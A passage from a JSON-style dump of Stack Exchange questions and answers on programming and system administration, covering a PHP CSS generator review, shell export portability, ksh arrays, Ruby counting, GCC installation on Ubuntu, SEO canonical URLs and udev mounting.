'text'=>true,        'border'=>true,        'back'=>true,        'shadow'=>true,        'sizes'=>true,        'styles'=>true,        'send_header'=>true,        'custom'=>array()    );Each setting in detail:'class'Class that must be used for colors.'force'Forces the styles, by applying !important.'text'Defines if it is to send the styles and colors to apply to texts.'border'Defines if it is to send the styles and colors to apply to borders.'back'Defines if it is to send the background colors.'shadow'Defines if it is to send the shadow colors.'sizes'Defines if it is to send the sizes for text and borders.'styles'Defines if it is to send the styles for text and borders.'send_header'Defines if it is to send the header Content-type: text/css. - 'custom'Defines new colors. To avoid problems, these will have the name <class>.custom-<color>.This works with the color name as the key and the value as the hexadecial representation without #.E.g.: array('gold'=>'CFB53B') (will produce, for example, .color.custom-gold-<style>{color:#CFB53B!important;})How to use it:Simply call it like any CSS file:<link href=quickstyle.css.php rel=stylesheet type=text/css/>Or include it (with the option send_header set to false):<style><?php include 'quickstyle.css.php'; ?></style>How to use the classes:Simply set them to your heart's content:<div class=color black-background white-text blue-border border-2px border-solid>Hello World!</div>Which would look like this:<div style=background:black;color:white;border:2px solid blue;>Hello World!</div>(Disregard the choice of color, please)In terms of readability, features and performance, what else can I change or improve?"  , "title": "Quick CSS style generator"  , "tags": "php;performance;css"  , "accepted_answer": "@cimmanon addressed some very good points on the concept itself, so I thought I would address the code. $colorsYou assume that all we want is colors in hexadecimal. But what about rgba and hsl?You should change how the colors are made, so that you detect when a color is missing the # and add it accordingly.$sizes$sizes=array(    'em'=>array(0.3,0.5,1,1.25,1.3,2,2.5,3,3.3,3.5,4),    'px'=>array(0,1,2,3,4,5,6,7,8,9,10,11,12,12.5,13,14,15,16,17,17.5,18,19,20),    'mm'=>range(0,9),    'cm'=>range(0,9),    '%'=>array(0,1,2,3,4,5,6,7,8,9,10,12.5,15,20,25,30,33.3,35,40,45,50,55,60,62.5,65,66.6,65,70,75,80,85,90,95,99,100));This is also not very flexible, since all the values are hard-coded into the inner arrays. What if I wanted to make something 24px, or 42% or 110%? I think you should make something that accepts any integer and/or decimal value then have a function to concatenate the extension (like em, px, %) after it. It could also be good to define a reasonable range, but the good thing with CSS is if you enter a ridiculous value, like -50% or 99999999px it will either just not display, or look really weird.$styles$styles=array(    'border'=>array('none','doted','dashed','solid'),    'text'=>array('none','underline'));You have a typo that could lead to weird bugs. It should be dotted, not doted. I think other than that, it's a pretty creative idea and is pretty well executed."  } 
{  "id": "_webmaster.84850"  , "question": "I have an existing canonical URL in the form http://example.com/page1 for a page called http://example.com/page1.html and use .htaccess to rewrite the URL of anything without an extension so it ends in .htmlHowever, I want to create a new page which can be accessed as either http://example.com/page1 or http://example.com/page1-alternative-name (or the .html versions of either). Can I add a canonical URL for this alternative name, but have google &  other search engines index it under both names, but recognize both as the same page with the same rank/SEO result, and combined webmaster stats? If a canonical URL should not be used will the .htaccess access rewrite rule alone by enough to allow search engines to recognize non-duplicate content with alternative names? Is there something I can do to flag this alternative name like link=alternate? Page names and given SEO weight and certain terms/phrases have multiple preferred terms (this is not some kind of keyword stuffing).So far from reading many answers here I can see multiple canonicals are allowed, but cannot find anything similar to this situation. "  , "title": "Multiple canonical URLs for same page"  , "tags": "seo;google search console;canonical url;search results;rel alternate"  } 
{  "id": "_unix.304574"  , "question": "I feel that with all the additional apps pre-installed, and relying heavily on deriving elements from Ubuntu and Gnome, elementary must be heavy.So I would like to know an as-quantitative-as-possible analysis of how heavy the OS is on RAM (and may be the system in overall) compared to Classic-Ubuntu/Gnome-Ubuntu. This is a problem that every user who is stunned by the awesomeness of Pantheon would like to get an answer to, before switching their OS/Desktop, so that they don't feel the hesitation that it would slow down their PC.PS: Please feel free to add external links that may be helpful, but as of now I haven't been able to find a proper place that provides some sane discussion of this technical overhead comparison."  , "title": "How heavy is elementaryOS over classic Ubuntu?"  , "tags": "ubuntu;gnome;memory;elementary os;ram"  , "accepted_answer": "What applications are preinstalled is completely irrelevant. An application that is installed but not running costs nothing but disk space.I don't know why you feel that elementary must be heavier than Gnome. Gnome itself is pretty heavy.There was an article comparing Linux desktop environments in the Layer 3 Networking Blog in April 2013. Elementary didn't exist yet but the author tested a lot of environments. While figures can vary quite a bit depending on what applets, widgets and so on are loaded, the order of magnitude is telling: ~200MB for KDE, slightly less for Unity and Gnome3, ~50MB for lightweight desktop environments, a few MB for heavyweight window managers, <1MB for lightweight window managers. (Those figures are for the WM/DE only, not the base system.)Hectic Geek compared elementary Luna with Gnome in August 2013. They found that there was no significant difference in memory usage and boot times.Brendan Ingram compared the RAM usage of several configurations in July 2016. He found that Gnome on Ubuntu 16.04 took 700MB (that's total RAM, not just the desktop environment) while Pantheon on the elementary OS version based on 14.04 took 600MB, i.e. Pantheon used slightly less memory but that was an older version.The upshot is that Pantheon as configured by elementary and Gnome or Unity as configured by Gnome use similar amounts of memory. Elementary's default setup requires roughly the same amount of resources than Ubuntu's."  } 
{  "id": "_unix.193095"  , "question": "I have picked up -- probably on Usenet in the mid-1990s (!) -- that the constructexport var=valueis a Bashism, and that the portable expression isvar=valueexport varI have been advocating this for years, but recently, somebody challenged me about it, and I really cannot find any documentation to back up what used to be a solid belief of mine.Googling for export: command not found does not seem to bring up any cases where somebody actually had this problem, so even if it's genuine, I guess it's not very common.(The hits I get seem to be newbies who copy/pasted punctuation, and ended up with 'export: command not found or some such, or trying to use export with sudo; and newbie csh users trying to use Bourne shell syntax.)I can certainly tell that it works on OS X, and on various Linux distros, including the ones where sh is dash.sh$ export var=valuesh$ echo $varvaluesh$ sh -c 'echo $var'  # see that it really is exportedvalueIn today's world, is it safe to say that export var=value is safe to use?I'd like to understand what the consequences are.  If it's not portable to v7 Bourne classic, that's hardly more than trivia.  If there are production systems where the shell really cannot cope with this syntax, that would be useful to know."  , "title": "Where is export var=value not available?"  , "tags": "shell;history;compatibility"  , "accepted_answer": "export foo=baris not supported by the Bourne shell. That was introduced by ksh.In the Bourne shell, you'd do:foo=bar export fooor:foo=bar; export fooor with set -k:export foo foo=barNow, the behaviour of:export foo=barvaries from shell to shell.The problem is that assignments and simple command arguments are parsed and interpreted differently.The foo=bar above is interpreted by some shells as a command argument and by others as an assignment (sometimes).For instance,a='b c'export d=$ais interpreted as:'export' 'd=b' 'c'with some shells (ash, zsh (in sh emulation), yash) and:'export' 'd=b c'in the others (bash, ksh).Whileexport \\d=$aorvar=dexport $var=$awould be interpreted the same in all shells (as 'export' 'd=b' 'c') because that backslash or dollar sign stops those shells that support it to consider those arguments as assignments.If export itself is quoted or the result of some expansion (even in part), depending on the shell, it would also stop receiving the special treatment.The Bourne syntax though:d=$a export dis interpreted the same by all shells without ambiguity.It can get a lot worse than that. See for instance that recent discussion about bash when arrays are involved.(IMO, it was a mistake to introduce that feature)."  } 
{  "id": "_codereview.123822"  , "question": "I'm trying to figure out if there's a better way to run the code below.Basically Course is an association of Student and courses_needed is an array of Course where I have many Students have and need many Courses and I'm trying to figure out the demand.I've came up with the following code and it runs, which is fine, but when I want to display it on a statistics page with 36 Courses, the same code needs to be run once for each Course. I've solved it now by having it run once a day, instead of real-time.  def self.calculate_needed    Course.all.each do |course|      neededArray = Array.new      needed = 0      Student.all.each do |s|        unless s.courses_needed.nil?          s.courses_needed.each do |c|            if c == course              needed += 1            end          end        end      end      course.needed = needed      course.save    end  end"  , "title": "Count associations in a Ruby model"  , "tags": "ruby;ruby on rails;active record"  , "accepted_answer": "This should be interesting. The fastest way I can think of is to pluck all the courses_needed arrays out of Student, group them together, and count them:course_hash = Student.where.not(courses_needed: nil).pluck(:courses_needed).  flatten.group_by { |c| c }.map { |k, v| [k, v.size] }.to_hEssentially, I grab all students that actually have courses_needed, I then grab just all the courses needed from students. Flatten the course arrays so that all courses are within the same array, then I group them by course. After that I map again to replace the values (just the list of all same courses) with the number of times each course is listed. Then I do to_h to turn each [course, number] into a course => number hash that you can access easier.So pluck returns:[[course, course2, course3], [course, course2]]Flatten makes this:[course, course2, course3, course, course2]Group_by turns it into:{course => [course, course], course2 => [course2, course2], course3 => [course3]}Map does:[[course, 2], [course2, 2] , [course3, 1]]Then to_h:{course => 2, course2 => 2, course3 => 1}At that point you can access the course hash and get the number.course_hash[course]# 2Now that we have the hash we can update the needed column in Course:Course.find_each do |course|  course.update_attributes(needed: course_hash[course].to_i)endThe to_i is used so that if course_hash does not contain the course it returns nil, then to_i will turn nil into 0."  } 
{  "id": "_unix.184179"  , "question": "A couple of months ago, I re-installed Cygwin on my Win7 machine. Since then, when clicking the XWin Server entry in the Start Menu, it not only starts the (familiar) X tray icon along with a xterm window (this is running in rootless mode), but also a frame-less, grey window with the same (slightly larger) X icon. It is placed in the screen's top-left corner and on being clicked, it offers a small menu of applications to execute and to Exit Cygwin/X. Its taskbar entry shows panel as its window title.Since this panel window's functionality is duplicated in the tray icon's right-click menu (which has more options anyway), I am wondering how to suppress the start of this window.I had a look at the man pages for Xwin and XWinrc as well as the files under /etc/X11/xinit/, but since I am new to X11 I might have missed something. The Manpage of XWin and the Configuring Cygwin/X pages weren't helpful either."  , "title": "Cygwin XWin server: How to disable the creation of the panel window?"  , "tags": "cygwin"  , "accepted_answer": "I launch my X Server with this: XWin.exe -multiwindow"  } 
{  "id": "_webapps.33778"  , "question": "I would like to email everyone in my Trello organization to clarify changes I make (like permissions, new boards, etc.) on a periodic basis. Is this possible to do easily? "  , "title": "Is it possible to send an email to everyone in my Trello Organization?"  , "tags": "trello;trello organization"  } 
{  "id": "_cogsci.15932"  , "question": "Neuronal networks can make loops because a neuron has a direction (from dendrite to axon).What's the smallest area in the cortex where we can find a loop and what are these loops?I understand there are loops between different cortical areas through the white matter.Experiments, like this one, show there are interactions between cortical layers. But it doesn't necessary mean there are loops.Other experiments, like this one,   looking at signals propagation in pieces of cortex with a  cut showed the propagation could  somehow circumvent the cut and keep propagating. Again it shows the existence of some local circuits but not necessarily loops.Do we have a proof of local loops in the cortex? How large a piece of cortex has to be to contain a loop? What are these loops?"  , "title": "Are there neural loops within a column or an area of the cortex?"  , "tags": "neurobiology;theoretical neuroscience;neural network"  } 
{  "id": "_softwareengineering.339884"  , "question": "When creating time estimates for tickets should the time taken for testers (QAs) be included in a tickets estimate? We have previously always estimated without the testers time but we are talking about always including it. It makes sense for our current sprint, the last before a release, as we need to know the total time tickets will take with one week to go. I always understood estimation was just for developer time as that tends to be the limiting resource in teams. A colleague is saying that wherever they have worked before tester time has also been included. To be clear, this is for a process where developers are writing unit, integration and UI tests with good coverage. "  , "title": "Should tester's time be included when estimating tickets?"  , "tags": "agile;scrum;estimation;qa"  , "accepted_answer": "My recommendation: You either include testing time in the ticket, or add a ticket to represent the testing task itself. Any other approach causes you to underestimate the real work needed.While developer time is often a bottleneck, in my experience, there are many teams constrained on test. Assuming the limiting resource is one or the other without evidence, can bite you.As your colleague, I haven't seen a successful organization that doesn't take testing time into account.Addendum per your clarification: Even if devs write automated tests, particularly unit tests (integration tests do better), they are insufficient to properly test.If there is QA people involved, their time need to be estimated, one way or another. Only if you are deciding to remove QA people from payroll, then their work time has effectively vanished and you can remove it from the estimation. But this would have side-effects that are easy to ignore. And you may still be missing performance, stress, security and acceptance testing."  } 
{  "id": "_unix.14205"  , "question": "I had ldc2 and gdc compiled from source and working up until a month ago.  Nothing has changed, except I can't remember the variable(s) I would set in the terminal to get ldc2 and gdc to work.I get the following errors when trying to compile D source code; with gdc ($ /home/Code/D/gdc/Bin/usr/local/bin/gdc -o t4 t4.d):/home/Code/D/gdc/Bin/usr/local/bin/../libexec/gcc/x86_64-unknown-linux-gnu/4.4.5/cc1d: error while loading shared libraries: libmpfr.so.1: cannot open shared object file: No such file or directoryWith ldc2 (/home/Code/D/ldc2/bin/ldc2 -o t4 t4.d):/home/Code/D/ldc2/bin/ldc2: error while loading shared libraries: libconfig++.so.8: cannot open shared object file: No such file or directoryI can't remember if it was just an addition to PATH or something to DFLAGS.  Any ideas?"  , "title": "Cannot open shared object file when using D compiler"  , "tags": "executable;dynamic linking"  , "accepted_answer": "Here you can't even run the compiler executable, because it can't find the libraries it needs. gdc is looking for libmpfr.so.1 and ldc2 is looking for libconfig++.so.8.If these libraries are still present on your system, perhaps in /home/Code/D/gdc/Bin/usr/local/lib, you can add that directory to the LD_LIBRARY_PATH environment variable (on most unices; on MacOSX, the variable is called DYLD_LIBRARY_PATH).LD_LIBRARY_PATH=/home/Code/D/gdc/Bin/usr/local/lib gdc You may want to write wrapper scripts to run gdc and ldc2, or put this in your ~/.profile:export LD_LIBRARY_PATH=/home/Code/D/gdc/Bin/usr/local/libIf these libraries were in /usr/lib and disappeared in a system upgrade, you'll have to either restore the required versions, or recompile the D tools for the new versions of the libraries."  } 
{  "id": "_webmaster.101090"  , "question": "The <title> tag is displayed to the user of the search engine. Given that it is also what the search engine uses for ranking, why would one need to include a <meta name=title content=> tag?"  , "title": "Is  redundant?"  , "tags": "seo;meta tags;title"  , "accepted_answer": "Yes, <meta name=title ../> is superfluous.It is clear, after reading the HTML specification of the meta tag:The meta element represents various kinds of metadata that cannot be  expressed using the title, base, link, style, and script elements.So the meta title doesn't provide any additional information to the title tag, and it is not even one of the meta properties recognized by Google."  } 
{  "id": "_softwareengineering.263514"  , "question": "I am exploring how a Minimax algorithm can be used in a connect four game.  I was looking through a program and found this evaluation function.private static int[][] evaluationTable = {{3, 4, 5, 7, 5, 4, 3},                                           {4, 6, 8, 10, 8, 6, 4},                                          {5, 8, 11, 13, 11, 8, 5},                                           {5, 8, 11, 13, 11, 8, 5},                                          {4, 6, 8, 10, 8, 6, 4},                                          {3, 4, 5, 7, 5, 4, 3}};//here is where the evaluation table is calledpublic int evaluateContent() {        int utility = 128;        int sum = 0;        for (int i = 0; i < rows; i++)            for (int j = 0; j <columns; j++)                if (board[i][j] == 'O')                    sum += evaluationTable[i][j];                else if (board[i][j] == 'X')                    sum -= evaluationTable[i][j];        return utility + sum;    }And then a MiniMax algo is used to evaluate the possible solutions.I am not sure how/why this works.  Would anyone be able to explain?"  , "title": "Why does this evaluation function work in a connect four game in java"  , "tags": "java;algorithms;machine learning"  , "accepted_answer": "The numbers in the table indicate the number of four connected positions which include that space for example:the 3 in the upper left corner is for one each of horizontal, vertical, and diagonal lines of four which can be made with it.the 4 beside it is for two horizontal (one including starting in the corner, one starting on it, one vertical, and one diagonal)This gives a measurement of how useful each square is for winning the game, so it helps decide the strategy.I believe that the evaluateBoard function returns a number <0 ifint utility = 128is a typo - it should be initialized to 138 (since the sum of all the values in the table is 276 = 2 x 138). This would make the evaluateBoard function return:< 0 if the player whose marker is 'X' is likely to win (has the most strategic places based on the utility function)= 0 if the players are equally likely to win> 0 if the player whose marker is 'O' is likely to win."  } 
{  "id": "_webmaster.78239"  , "question": "We all are quite aware that hyphen is the title word separator as described in this video by Matt Cutts. But I was shocked to find that Google was listing the matching page titled SomePrefix City-Enrollment Centers in the bottom in SERP (of 100 results) when I entered this query:SomePrefix City Enrollment CentersHowever when I keyed in this query, it showed the page in top in SERP:SomePrefix City-Enrollment CentersI'm wondering whether I should have given space around the hyphen in the page title otherwise it seems that Google is considering City-Enrollment as single word.In short how to prevent such situation in which Google may consider those as single words or phrases?Notes:I'm not including quotes around my search phrase.Right now I've removed hyphen altogether to make it simple."  , "title": "Is hypen a word separator in the title?"  , "tags": "seo;google search;title"  } 
{  "id": "_unix.94247"  , "question": "I'm having issues while connecting to my Local Centos 6.3 VM with 500 MB ram.Below is the output of ssh -vvv localhost connection:OpenSSH_6.3, OpenSSL 1.0.1e 11 Feb 2013debug1: Reading configuration data /usr/local/etc/ssh_configdebug2: ssh_connect: needpriv 0debug1: Connecting to localhost [127.0.0.1] port 22.^^^^^^^^^^ Loading this statement takes more than a minutedebug1: Connection established....debug1: Next authentication method: password root@localhost's password:^^^^^^^^^^ This step takes a minute toodebug3: packet_send2: adding 64 (len 50 padlen 14 extra_pad 64)debug2: we sent a password packet, wait for replydebug1: Authentication succeeded (password).Authenticated to localhost ([127.0.0.1]:22).debug1: channel 0: new [client-session]debug3: ssh_session2_open: channel_new: 0debug2: channel 0: send opendebug1: Requesting no-more-sessions@openssh.comdebug1: Entering interactive session.debug2: callback startdebug2: fd 3 setting TCP_NODELAYdebug3: packet_set_tos: set IP_TOS 0x10debug2: client_session2_setup: id 0debug2: channel 0: request pty-req confirm 1debug2: channel 0: request shell confirm 1debug2: callback donedebug2: channel 0: open confirm rwindow 0 rmax 32768debug2: channel_input_status_confirm: type 99 id 0debug2: PTY allocation request accepted on channel 0debug2: channel 0: rcvd adjust 2097152debug2: channel_input_status_confirm: type 99 id 0debug2: shell request accepted on channel 0Last login: Wed Oct  9 13:27:02 2013 from 10.0.0.2Please suggest on how do I get rid of this delay."  , "title": "SSH connection establishment too slow"  , "tags": "networking;ssh;centos"  } 
{  "id": "_softwareengineering.66408"  , "question": "I am wondering what is the default graphics engine used in Photoshop?It's great tool. And I don't know how they make it?I mean, if I want to create a simple tool like it, I will use MFC/GDI+.So, what is core to make Photoshop being great tools?"  , "title": "What graphics engine is used in Photoshop"  , "tags": "graphics"  } 
{  "id": "_webapps.105643"  , "question": "Is there a way to set up the form where a customer is required to put their card info but we charge it a later time? If anyone has used jotform they allow a person to put down their card info then it sends a token to stripe letting it know that the card info has been submitted which can be charged at a later time."  , "title": "Able to charge customer at a later time?"  , "tags": "cognito forms"  } 
{  "id": "_unix.80420"  , "question": "Please advise what's wrong in my ksh code. I want to remove the IP's as defined in bb  array from aa array so the IP's 255.0.0.0 and 255.255.255.0 will be removed from the list in aa array.When I run my ksh code and later print the array aa, I see that the IP - 255.255.255.0 was not deleted?Please advise what's wrong in my syntax?   echo ${aa[*]}   45.32.3.5 255.0.0.0 255.255.255.0 19.23.2.12   echo ${bb[*]}   255.0.0.0 255.255.255.0ksh program:  for run in  ${bb[*]}  do   for ((i=0; i<${#aa[@]}; i++)); do   [[ ${aa[i]} == $run ]] && unset aa[i]   done  donetest: echo ${aa[*]}   45.32.3.5 255.255.255.0 19.23.2.12                  NOTE: 255.255.255.0 should be deleted from the above list."  , "title": "How to filter an array of strings in ksh"  , "tags": "linux;shell;perl;ksh"  , "accepted_answer": "I don't know why your code does not work for the presented inputs. It does on my system under ksh.But your original code has a problem: the conditional part i<${#aa[@]} is fragile - since ${#aa[@]}, i.e. the array size is decremented after each unset - but the following array elements are not automatically shifted to the left. For your example45.32.3.5 255.0.0.0 255.255.255.0 19.23.2.12this does not make a difference - but it would make a difference for - say:45.32.3.5 255.0.0.0 19.23.2.12 255.255.255.0I improved the code with respect to that issue (note the assignment before loop entry). I also eliminated an inner loop (using an associative array) which improves the runtime from quadratic to linear:$ cat x.shoutputs it:aa=(45.32.3.5 255.0.0.0 255.255.255.0 19.23.2.12)bb=([255.0.0.0]=1 [255.255.255.0]=1)print Size of input ${#aa[*]}print Size of exclude list ${#bb[*]}n=${#aa[*]}for ((i=0; i<$n; ++i))do  if [[ ${bb[${aa[i]}]} ]]  then    print Removing element with index $i: ${aa[i]}    unset aa[i];  fi  print New size of input ${#aa[*]}doneprint Resulting size of input ${#aa[*]}print Resulting elements ${aa[*]}for ((i=0; i<$n; ++i))do  print Index $i, Value 'a['$i']'=${aa[$i]}doneIt produces following output on Fedora 17:$ ksh x.shSize of input 4Size of exclude list 2New size of input 4Removing element with index 1: 255.0.0.0New size of input 3Removing element with index 2: 255.255.255.0New size of input 2New size of input 2Resulting size of input 2Resulting elements 45.32.3.5 19.23.2.12Index 0, Value a[0]=45.32.3.5Index 1, Value a[1]=Index 2, Value a[2]=Index 3, Value a[3]=19.23.2.12"  } 
{  "id": "_unix.371737"  , "question": "I'm trying to run a test under GCC 7. According to How to install gcc-7 or clang 4.0? on Ubuntu.SE, we can perform the following to install GCC 7 on Ubuntu:add-apt-repository ppa:ubuntu-toolchain-r/test && apt-get update && apt-get install -y gcc-7The command fails at the install:# apt-get install -y gcc-7...E: Unable to locate package gcc-7And trying 7.1:# apt-get install -y gcc-7.1...E: Unable to locate package gcc-7.1E: Couldn't find any package by glob 'gcc-7.1'E: Couldn't find any package by regex 'gcc-7.1'According to List all packages from a repository in ubuntu / debian on Server Fault, we can search a particular repo for a package with:# grep ^Package: /var/lib/apt/lists/ppa.launchpad.net_*_Packages | grep gcc-7#But I am not sure if the command above is searching ppa:ubuntu-toolchain-r.I kind of pieced things together, but they are not working as expected. Either the Ubuntu.SE answer is wrong, the Server Fault search is failing, or I am doing something wrong.(I don't have a Debain 8 machine available for gcc-7 package, and Fedora 25 appears to lack GCC 7. So I am pretty much stuck with Ubuntu).What am I doing wrong? Or, how can I install GCC 7?# lsb_release -aNo LSB modules are available.Distributor ID: UbuntuDescription:    Ubuntu 16.10Release:        16.10Codename:       yakkety"  , "title": "Install GCC 7 on Ubuntu?"  , "tags": "ubuntu;apt;gcc;ppa"  } 
{  "id": "_cogsci.17696"  , "question": "Specifically, I am trying to quantify trends in learning for certain mediums of audio-visual communication, and what I've gathered so far suggests that there are 4 distinguishable types, being linear, logarithmic (or possibly asymptotic), exponential and ogive. How can I go from peoples qualitative observations to an actual mathematical function to show these patterns for a specific medium? Would one measure...success rate over time and that's it? Or what?"  , "title": "What variables allow one to empirically and scientifically quantify trends for learning curves?"  , "tags": "experimental psychology;statistics;experiment design"  , "accepted_answer": "Short answerIn psychophysical tests, often %correct rates are determined. Hence, training effects are often measured by determining correct rates. The ultimate outcome measures can be wildly variable, as they are dependent on the physical characteristics of the stimulus (visual, auditory, tactile, gustatory etc).BackgroundLearning curves can be measured by measuring the performance on a certain task.From what I understand of your question you are:...trying to quantify trends in learning for certain mediums of audio-visual communication...  and you are looking forWhat one measure...success rate over time and that's it? Or what?Taking a personal vantage point here, I have measured learning effects using various auditory, tactile and visual psychophysical tests (though not a combination of them like an audio-visual test as you are planning). I will provide a few tests I have done so far to look at training effects and I will provide some basic background information on psychophysics. Please following the links if you wish to learn more on specific subjects. I have measured the following, among others:Speech understanding by measuring the speech-recognition threshold (SRT) in noise using the Dutch Matrix test (Houben & Dreschler, 2015). The SRT basically shows you the signal-to-noise ratio where speech understanding is 50% correct. In other words, it shows how much noise a listener can handle to still understand 50% of the words in the sentences heard. I've performed this test for 12 times over four several sessions and within as well as between-session learning effects were observed, and also within-run training effects (unpublished observations); Vibro-tactile detection threshold. Basically we asked the subject to answer in a yes/no task if they felt a stimulus and the outcome measure was that stimulus level where the correct rate was 50%. There was no learning effect observed within and between sessions. A within-run training effect was observed, which may have been due to procedural training effects (unpublished observations);Tactile spatial acuity using (2-point discrimination); here a person was asked to answer whether one or two stimuli were felt and then, again, a percent-correct rate (here: 62.5%) score was determined ultimately expressed as that distance where correct rate was 62.5%. No training effects other than procedural learning were observed (Stronks et al, 2017);A vibrotactile intensity-difference (JND) task, where the subject was asked to indicate whether they could feel the difference in intensity of two stimuli. Again the correct rates were measured and expressed as that intensity where the %correct scores equaled a certain threshold (Stronks et al, 2017).Visual acuity was measured with a grating task - again percent correct is measured, but there the outcome is visual acuity, namely an angle of resolution where the %correct rate exceeds a certain threshold. There was procedural learning observed (unpublished observations). Note that most of the above tasks were alternative forced choice (AFC) tasks, where the threshold (%correct) is dependent on the number of choices.References- Houben & Dreschler, Trends Hear (2015); 11(19): 1-10- Stronks et al, Artif Organs (2017); in press "  } 
{  "id": "_webmaster.32910"  , "question": "I've got a client who is looking to have a fundraising site built in a matter of days so there's very little time for custom building something.I'm wondering if anyone knows of any software or online service that might be customised.The fundraising site would operate in the following way (for example):Users registerRegistered users select a challenge to complete, ie. 5km run every day for 4 weeksFriends/family of the registered user sponsor the user $5 for every day they run $5kmFriends/family of the registered user can also make a donation (ie. not requiring sponsorship)Donations & sponsorships would be made direct to the fundraising site (ie. not via registered user)Registered users can link their challenge progress to their facebook pageIf anyone has some ideas, I'd really appreciate. Just to be clear, I'm looking for an online service or software that can be customised."  , "title": "Online service or software for fundraising site?"  , "tags": "web services;software"  , "accepted_answer": "While I've decided to decline the job described above, I did find Convio's Common Ground Fundraising which may be of assistance to others in future. The downside is their pricing.See Convio's API & Webservices for further information."  } 
{  "id": "_softwareengineering.334500"  , "question": "Let's say I have a method called setDate. I also have another method called isValidDate to see if a string is a valid date string.For convenience, setDate uses isValidDate internally as a mean of validation, so the developer doesn't have to do the validation manually. But isValidDate is used in other methods as well. It will also throw an exception when the passed string is not a valid date string.I have unit tests for isValidDate to make sure the logic works fine. I also have some unit tests for setDate but none of them is overlapped with isValidDate tests.That means if someone accidentally removes the call to isValidDate from setDate method, all of its tests would pass, as well as all the tests for isValidDate method, but in fact setDate now can set invalid dates.Do I have a design flaw in structuring my code, or should I just write duplicated tests for both methods if I want that extra bit of reliability?"  , "title": "Should I write duplicated tests for 'setDate' and 'isValidDate' methods?"  , "tags": "unit testing"  , "accepted_answer": "I'll assume setDate() looks something like this:public void setDate(Date d) {  if (!isValidDate(d))    throw SomeException(...);  this.date = d;}public Date getDate() { return this.date; }I'm including a getDate() as well since tests for setting and getting can't be separated.There are two approaches to handle the test duplication.Only test what the method does directly.There are two schools of though regarding unit tests:The test should describe the full behaviour of the unit under test.The test should only cover the value added by the unit under test, and ignore work done by external parts.Using the latter approach, what does setDate() do? For invalid dates (determined with an external methods that's not going to be tested here), it throws an exception. Otherwise, we can get the same date back with getDate().This gives us exactly two test cases. In a sketch:void test_setDate__throwsOnInvalidDates() {  MyObject obj = new MyObject();  Date invalidDate = ...;  try {    obj.setDate(invalidDate);    assert(false, setDate() did not reject the invalid date);  } catch (SomeException e) {    assert(true);  }}void test_getDate__canRetrieveValuesFromSetDate() {  MyObject obj = new MyObject();  Date d = new Date(...);  obj.setDate(d);  assertEquals(obj.getDate(), d);}Generate test data once, use for both tests.By storing a list of valid and invalid dates, we can test both isValidDate() and setDate() without notable repetition. How you can parametrize your tests to use a list of cases depends on your framework, here I'll put the loop inside a test:Date[] validDates = { ... };Date[] invalidDates = { ... };void test_isValidDate__acceptsValidDates() {  for (Date d : validDates)    assertTrue(isValidDate(d), d.toString());}void test_isValidDate__rejectsInvalidDates() {  for (Date d : invalidDates)    assertTrue(!sValidDate(d), d.toString());}...void test_getDate__canRetrieveValuesFromSetDate() {  for (Date d : validDates) {    MyObject obj = new MyObject();    obj.setDate(d);    assertEquals(obj.getDate(), d);  }}void test_setDate__throwsOnInvalidDates() {  for (Date d : invalidDates) {    MyObject obj = ...;    try {      obj.setDate(d);      assertTrue(false, ...);    } catch (SomeException e) {      assertTrue(true);    }  }}In practice, these should be separate test cases instead of loops within a single test case, so that a failing test does not prevent the other dates from being tested  more data on which dates fail or succeed can make debugging much easier.While this approach is immune to refactoring, it does cause tests to run longer (an issue for very large test suites), and creates the problem of generating the necessary data.I personally prefer the first approach  only testing the function added immediately by some method. This helps to keep test suites small and meaningful. But if you feel that is not sufficient, or if you expect that a programmer would carelessly remove a validation check, then generating a reusable list of test data is probably better. I have used both approaches, and both work well."  } 
{  "id": "_softwareengineering.314200"  , "question": "Suppose I work at Microsoft.  I would probably write the bulk of my code using Visual Studio, which is one of Microsoft's most popular projects.  Therefore, dogfooding.Now suppose I work at Netflix, which provides a video streaming service for entertainment value.  I'm not going to watch House of Cards on the job (wink).  I might when I get home, though.  Can an employee's use of a company's product off the clock (e.g. entertainment software, tools for personal projects, etc.) be considered dogfooding?"  , "title": "Is an employee's use of his/her company's product outside of work considered dogfooding?"  , "tags": "terminology;dogfooding"  , "accepted_answer": "No.The term dogfooding is specifically reserved for a company using its own products, for testing and promotional (we use our own stuff) purposes, not for casual use of those same products outside of work, even by employees. The only scenario of that kind that I would consider dogfooding would be Netflix giving their employees free subscriptions in return for bug reports and telemetry.  The company has to have  some skin in the game, in other words.In a testing scenario, you would want to be exercising the UI more than would happen when you're just passively watching House of Cards.  Unless, of course, all you're testing is the stability of the video player."  } 
{  "id": "_codereview.79905"  , "question": "Below is the code I have written to capitalize all the words of a sentence except ifThe words belong to the littleWords list.The word would be capitalized if it's the first word of the sentence even if it is in the littleWords list. def titleize(sentence)    littleWords = [end, over, and, the]    words = sentence.split(/^(\\w+)\\b/)    sentence = if words[2]         words[2].split( ).map do |word|             littleWords.include?(word) ? (  + word) : (  + word.titleize)          end    end    words[1].titleize + (sentence||[]).join()endSPEC describe titleize doit capitalizes a word do  titleize(jaws).should == Jawsendit capitalizes every word (aka title case) do  titleize(david copperfield).should == David Copperfieldendit doesn't capitalize 'little words' in a title do  titleize(war and peace).should == War and Peaceendit does capitalize 'little words' at the start of a title do  titleize(the bridge over the river kwai).should == The Bridge over the River KwaiendendI am new to ruby/script and am coming from Java. The code above doesnt looks as nice and clean as I think could be done with ruby. "  , "title": "Titleize words in a sentence but with some conditions"  , "tags": "beginner;strings;ruby;unit testing"  } 
{  "id": "_unix.285624"  , "question": "Suppose I run sudo mount -a after setting /etc/fstab to: /dev/usbhd1 /path/to/mount/point ntfs rw,auto,nofail 0 1 Yesterday, upon asking what steps our architect and I should do next after a SanDisk USB disconnect on an Ubuntu Linux 16.04  operating system installed from a Live CD on a Lenovo Thinkstation quad-core desktop, I was instructed by Serge, meuh and Julie Pelletier to implement the following steps:    If you are going to connect and disconnect your HD regularly,then set up udev rule to mount it upon insertion at expected location. you could omit fstab entry in this caseHow do I set up a udev rule to automatically mount and unmount the SanDisk Cruzer USB upon insertion and removal of the same USB in order to eliminate an fstab entry? I would like this udev rule to apply to reboots also.How do I make udev and fstab rules to differentiate between 2 identical SanDisk Cruzer 8 Gigabyte USB drives I purchased from BestBuy?Any help is greatly appreciated.  "  , "title": "How do I set up a udev rule to mount the SanDisk Cruzer USB upon insertion in order to eliminate an fstab entry?"  , "tags": "ubuntu;mount;udev;fstab;unmounting"  } 
